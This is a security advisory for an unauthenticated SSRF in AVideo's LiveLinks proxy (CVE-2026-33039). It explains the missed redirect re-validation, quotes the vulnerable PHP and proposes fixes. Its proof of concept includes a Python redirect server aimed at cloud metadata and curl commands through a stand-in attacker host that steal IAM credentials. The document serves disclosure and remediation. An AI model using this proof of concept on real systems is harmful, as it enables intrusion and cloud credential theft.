GHSA-9X67-F2V7-63RW
Vulnerability from github – Published: 2026-03-17 20:33 – Updated: 2026-03-20 21:22
VLAI?
Summary
AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy
Details
Summary
The plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.
Affected Component
plugin/LiveLinks/proxy.php— lines 38-42 (redirect handling without SSRF re-validation)objects/functionsBrowser.php—fakeBrowser()(line 123, raw cURL fetch with no SSRF protections)
Description
Missing SSRF re-validation after HTTP redirect
The proxy.php endpoint validates the user-supplied livelink parameter against internal networks on line 18, using the comprehensive isSSRFSafeURL() function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling get_headers() on line 38 — which follows HTTP redirects — the code extracts the Location header and passes it directly to fakeBrowser() without re-applying the SSRF check:
// plugin/LiveLinks/proxy.php — lines 17-42
// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) { // line 18: only checks initial URL
_error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
echo "Access denied: URL targets restricted network";
exit;
}
// ... stream context setup ...
$headers = get_headers($_GET['livelink'], 1, $context); // line 38: follows redirects
if (!empty($headers["Location"])) {
$_GET['livelink'] = $headers["Location"]; // line 40: attacker-controlled redirect target
$urlinfo = parse_url($_GET['livelink']);
$content = fakeBrowser($_GET['livelink']); // line 42: fetches internal URL, NO SSRF check
$_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
No SSRF protections in fakeBrowser()
The fakeBrowser() function in objects/functionsBrowser.php performs a raw cURL GET with no URL validation:
// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.
Endpoint is fully unauthenticated
The file begins by explicitly opting out of database and session initialization:
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';
There is no .htaccess rule restricting access to proxy.php, and the root .htaccess confirms the plugin directory is routable (line 248: RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2).
Inconsistent defense pattern
The codebase demonstrates awareness of SSRF risks — isSSRFSafeURL() is used in 5 other locations (aVideoEncoder.json.php:303, aVideoEncoderReceiveImage.json.php:67,107,135,160, AI/receiveAsync.json.php:177). However, none of these callers deal with HTTP redirects. The proxy.php endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.
Double SSRF exposure
There are actually two SSRF requests in the redirect path:
1. get_headers() (line 38) follows the redirect to the internal IP to fetch response headers
2. fakeBrowser() (line 42) fetches the full response body from the internal IP
The second is more impactful as it returns the full content to the attacker.
Proof of Concept
Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:
# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
Step 2: Send the request to the target AVideo instance:
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"
Expected result: The response will contain the cloud metadata listing (e.g., ami-id, instance-id, iam/) prefixed with http://169.254.169.254: on each line. The attacker strips the prefix to recover the original metadata content.
Step 3: Escalate to IAM credential theft:
# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"
This returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access cloud resources.
Impact
- Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
- Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
- Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
- No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance
Recommended Remediation
Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)
Apply the same SSRF check to the redirect URL before fetching it:
$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
$_GET['livelink'] = $headers["Location"];
// Re-validate redirect target against SSRF
if (!isSSRFSafeURL($_GET['livelink'])) {
_error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
echo "Access denied: Redirect URL targets restricted network";
exit;
}
$urlinfo = parse_url($_GET['livelink']);
$content = fakeBrowser($_GET['livelink']);
$_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
Option 2: Disable redirect following in get_headers()
Prevent get_headers() from following redirects entirely by adding follow_location to the stream context:
$options = array(
'http' => array(
'user_agent' => '...',
'method' => 'GET',
'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
'follow_location' => 0, // Do not follow redirects
'max_redirects' => 0,
)
);
Then validate the Location header with isSSRFSafeURL() before following it manually. This approach prevents the get_headers() call itself from performing SSRF via the redirect.
Note: Option 1 is simpler but still allows get_headers() to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Severity ?
8.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33039"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T20:33:06Z",
"nvd_published_at": "2026-03-20T06:16:12Z",
"severity": "HIGH"
},
"details": "## Summary\nThe `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.\n\n## Affected Component\n- `plugin/LiveLinks/proxy.php` \u2014 lines 38-42 (redirect handling without SSRF re-validation)\n- `objects/functionsBrowser.php` \u2014 `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)\n\n## Description\n\n### Missing SSRF re-validation after HTTP redirect\n\nThe `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 \u2014 which follows HTTP redirects \u2014 the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:\n\n```php\n// plugin/LiveLinks/proxy.php \u2014 lines 17-42\n\n// SSRF Protection: Block requests to internal/private networks\nif (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) { // line 18: only checks initial URL\n _error_log(\"LiveLinks proxy: SSRF protection blocked URL: \" . $_GET[\u0027livelink\u0027]);\n echo \"Access denied: URL targets restricted network\";\n exit;\n}\n\n// ... stream context setup ...\n\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context); // line 38: follows redirects\nif (!empty($headers[\"Location\"])) {\n $_GET[\u0027livelink\u0027] = $headers[\"Location\"]; // line 40: attacker-controlled redirect target\n $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n $content = fakeBrowser($_GET[\u0027livelink\u0027]); // line 42: fetches internal URL, NO SSRF check\n $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### No SSRF protections in fakeBrowser()\n\nThe `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:\n\n```php\n// objects/functionsBrowser.php \u2014 lines 123-141\nfunction fakeBrowser($url)\n{\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_USERAGENT, \u0027Mozilla/5.0 ...\u0027);\n $output = curl_exec($ch);\n curl_close($ch);\n return $output;\n}\n```\n\nNo IP validation, no scheme restriction, no redirect control \u2014 any URL passed to this function is fetched unconditionally.\n\n### Endpoint is fully unauthenticated\n\nThe file begins by explicitly opting out of database and session initialization:\n\n```php\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\nrequire_once \u0027../../videos/configuration.php\u0027;\n```\n\nThere is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).\n\n### Inconsistent defense pattern\n\nThe codebase demonstrates awareness of SSRF risks \u2014 `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.\n\n### Double SSRF exposure\n\nThere are actually two SSRF requests in the redirect path:\n1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers\n2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP\n\nThe second is more impactful as it returns the full content to the attacker.\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled server that returns a 302 redirect to an internal target:\n\n```python\n# redirect_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2:** Send the request to the target AVideo instance:\n\n```bash\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect\"\n```\n\n**Expected result:** The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.\n\n**Step 3:** Escalate to IAM credential theft:\n\n```bash\n# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole-name\u003e\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam\"\n```\n\nThis returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.\n\n## Impact\n\n- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials\n- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure\n- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker\n- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance\n\n## Recommended Remediation\n\n### Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)\n\nApply the same SSRF check to the redirect URL before fetching it:\n\n```php\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context);\nif (!empty($headers[\"Location\"])) {\n $_GET[\u0027livelink\u0027] = $headers[\"Location\"];\n\n // Re-validate redirect target against SSRF\n if (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) {\n _error_log(\"LiveLinks proxy: SSRF protection blocked redirect URL: \" . $_GET[\u0027livelink\u0027]);\n echo \"Access denied: Redirect URL targets restricted network\";\n exit;\n }\n\n $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n $content = fakeBrowser($_GET[\u0027livelink\u0027]);\n $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### Option 2: Disable redirect following in get_headers()\n\nPrevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:\n\n```php\n$options = array(\n \u0027http\u0027 =\u003e array(\n \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027header\u0027 =\u003e array(\"Referer: localhost\\r\\nAccept-language: en\\r\\nCookie: foo=bar\\r\\n\"),\n \u0027follow_location\u0027 =\u003e 0, // Do not follow redirects\n \u0027max_redirects\u0027 =\u003e 0,\n )\n);\n```\n\nThen validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.\n\n**Note:** Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-9x67-f2v7-63rw",
"modified": "2026-03-20T21:22:40Z",
"published": "2026-03-17T20:33:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33039"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…